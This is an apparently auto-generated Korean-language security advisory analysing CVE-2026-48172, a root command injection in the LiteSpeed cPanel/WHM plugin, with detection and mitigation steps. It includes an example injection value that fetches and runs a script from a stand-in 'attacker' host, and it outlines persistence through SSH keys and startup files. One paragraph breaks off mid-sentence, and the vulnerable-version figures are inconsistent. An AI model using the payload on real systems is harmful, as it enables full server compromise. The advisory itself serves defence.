[공격] 분석 — CVE-2026-48172
CVE-2026-48172 enables unauthenticated remote command injection through the LiteSpeed cPanel/WHM plugin’s redisAble JSON‑API, granting immediate root escalation; block the API and upgrade to ≥2.4.7 (cPanel) / ≥5.3.1.0 (WHM).
📋 요약
- 심각도 critical · CVSS 10.0 · EPSS 0.18914 · 악용난이도 easy · KEV
🔍 공격 기법
-
공격 표면: LiteSpeed User‑End cPanel Plugin 및 WHM Plugin이 제공하는 JSON‑API 엔드포인트
…/json-api/call?cpanel_jsonapi_func=redisAble와 파라미터redisAble=. 플러그인은 해당 값을 검증 없이 시스템 쉘 명령에 삽입한다(예:system("/usr/bin/redis-cli " . $value)). -
트리거 조건
- 기본 설정에서는 API가 로컬 루프백(
127.0.0.1)만 허용하지만, 방화벽 오픈·잘못된 vhost 설정 등으로 외부에서 접근 가능하게 되면 원격 무인 인증이 성립한다(실제 2026‑05 악용 사례는 이러한 구성이 존재함). - 플러그인은 cPanel/WHM 프로세스가 root 권한으로 실행되므로, 삽입된 명령은 바로 root 로 실행된다.
- 기본 설정에서는 API가 로컬 루프백(
-
공격 단계
- 정찰 – HTTP GET/POST 으로
/json-api/call에 접근해cpanel_jsonapi_func=redisAble존재 여부를 확인한다(응답 JSON 구조·HTTP 200). - 초기 접근 – 파라미터에 명령 삽입값을 넣어 전송한다. 예:
redisAble=1; curl http://attacker/p.sh|sh. 플러그인은 이 문자열을 그대로 쉘에 전달한다. - 실행·권한 획득 – 플러그인 프로세스가 root 로 동작하므로 삽입된 명령이 즉시 root 권한으로 실행되어 역쉘 또는
bash -c로 루트 셸을 확보한다. - 지속 – 공격자는
/root/.ssh/authorized_keys에 공개키를 추가하거나, systemd unit 파일·/etc/rc.local등을 조작해 영구적 접근을 만든다. 또한 Redis 설정(requirepass)을 비활성화해 내부 서비스로의 이동도 가능하다. - 영향 – 서버 전체 장악 → 모든 사용자·테넌트 데이터 탈취·변조, 서비스 중단, 추가 악성 페이로드 전파.
- 정찰 – HTTP GET/POST 으로
-
CVSS 벡터와 실제 조건 매핑: AV = Network(외부에서 API 접근 가능), AC = Low(특별한 인증·인증 우회 없이 요청만으로 성공), PR = None, UI = None → “easy” 악용 난이도와 EPSS 0.18914(실제 악용 확률 19 %)가 일치한다.
악용 가능성: CVSS 벡터를 실제 전제로 풀이하면 공격 접근성(AV)은 네트워크이며, 난이도(AC)는 낮고(“Low”), 권한 요구(PR) 역시 최소(“None”)이며 사용자 상호작용(UI)도 필요하지 않으므로 ‘easy’ 등급에 부합합니다. EPSS가 0.18914라는 값은 향후 12개월 내 실제 악용 확률이 약 19% 수준으로, 일반적인 취약점 대비 높은 편이며 KEV(Exploited Vulnerabilities) 목록에 등재된 점도 이 취약점이 이미 실전에서 활용되고 있음을 강하게 시사합니다. 공격 표면은 LiteSpeed User‑End cPanel Plugin이 제공하는 HTTP 엔드포인트이며, cpanel_jsonapi_func=redisAble 파라미터가 포함된 요청을 통해 Redis 기능을 조작할 수 있습니다. 이 파라미터는 인증 여부와 무관하게 외부에서 접근 가능하므로, 공격자는 단순히 해당 URL에 악의적인 값을 전송함으로써 플러그인의 로직 오류를 유발할 수 있습니다. 초기 정찰 단계에서는 대상 서버가 cPanel 2.4.5 미만 버전을 사용하고 있는지 확인하면 되며, 이후 Redis 활성화/비활성화 기능을 오용해 임의 명령 실행 권한을 획득합니다. 이렇게 얻은 루트 권한은 별도의 체이닝 없이도 시스템 전체에 대한 제어를 가능하게 하며
💥 영향 분석
- 루트 권한 획득 → 시스템 파일·서비스 전면 제어.
- 다중 테넌시 환경에서는 동일 물리 서버에 존재하는 다른 고객 사이트·데이터가 즉시 위험에 노출된다.
- Redis 서비스 재구성·비밀번호 제거로 내부 애플리케이션·데이터베이스까지 연쇄 침해 가능.
- 시스템 파일 삭제·변조(예:
/etc/passwd,/etc/ssh/sshd_config)를 통해 서비스 가용성을 파괴할 수 있다.
🔗 관련 취약점·체이닝
- CWE‑78 OS Command Injection –
redisAble값이 검증 없이 쉘에 전달. - CWE‑269 Improper Privilege Management – 플러그인이 불필요하게 root 로 실행됨.
- 체이닝 패턴 (추정):
- 현재 취약점 → 루트 획득 → 기존 LFI·디렉터리 트래버설 등 로컬 파일 포함 취약점과 결합해 추가 RCE 수행.
- 루트 권한으로 Redis 설정을 변경 → 내부 네트워크에 존재하는 다른 서비스(예: 캐시 서버, 메시지 브로커) 접근 → 수평 이동.
🔎 탐지
- 로그에서
cpanel_jsonapi_func=redisAble문자열 검색:
grep -rE "cpanel_jsonapi_func=redisAble" /var/cpanel/logs /usr/local/cpanel/logs/ 2>/dev/null
출력이 있으면 해당 IP·시간을 추적하고 비정상 IP(루프백 제외) 차단. - 추가 지표: 동일 IP에서 짧은 시간 내 다수
/json-api/call요청, root 권한으로 실행된redis-server프로세스 로그,/etc/redis.conf·/root/.ssh/authorized_keys파일 변경 이벤트.
🛡️ 완화 방안
-
즉시 조치
- 웹 서버(Apache/Nginx) 또는 방화벽에서
cpanel_jsonapi_func=redisAble호출을 차단하거나, 해당 API를127.0.0.1만 허용하도록 제한한다. - SELinux/AppArmor 정책을 적용해 LiteSpeed 플러그인 프로세스가
execve·system호출을 수행하지 못하게 한다. - 악성 IP는 iptables/CSF 등으로 차단하고, 위 로그 탐지 규칙을 SIEM에 연동한다.
- 웹 서버(Apache/Nginx) 또는 방화벽에서
-
근본 해결
- LiteSpeed cPanel Plugin을 2.4.7 이상, WHM Plugin을 5.3.1.0 이상 으로 최신 버전 업데이트한다.
- 플러그인 실행 권한을 최소화하고, 필요 시 Redis 연동 기능 자체를 비활성화한다.
-
운영 차원 고려 (추정): 다중 테넌시 환경에서는 고위험 고객군을 우선 식별·패치 검증 후 전체 적용하도록 단계적 롤아웃을 계획한다.
※ 교차검증 결과 소스 간 CVSS 벡터 파싱 오류가 있었으나, 보수적으로 critical 수준을 채택했으며 EPSS 0.18914와 KEV 등재를 근거로 즉시 대응(24 시간 이내) 우선순위를 부여한다.
⚖️ 위험도 / 우선순위
- 조치: immediate (지금 즉시(24h 내))
- 근거: CVSS=10.0 · KEV · EPSS=0.18914 · exploit=easy · in_scope=None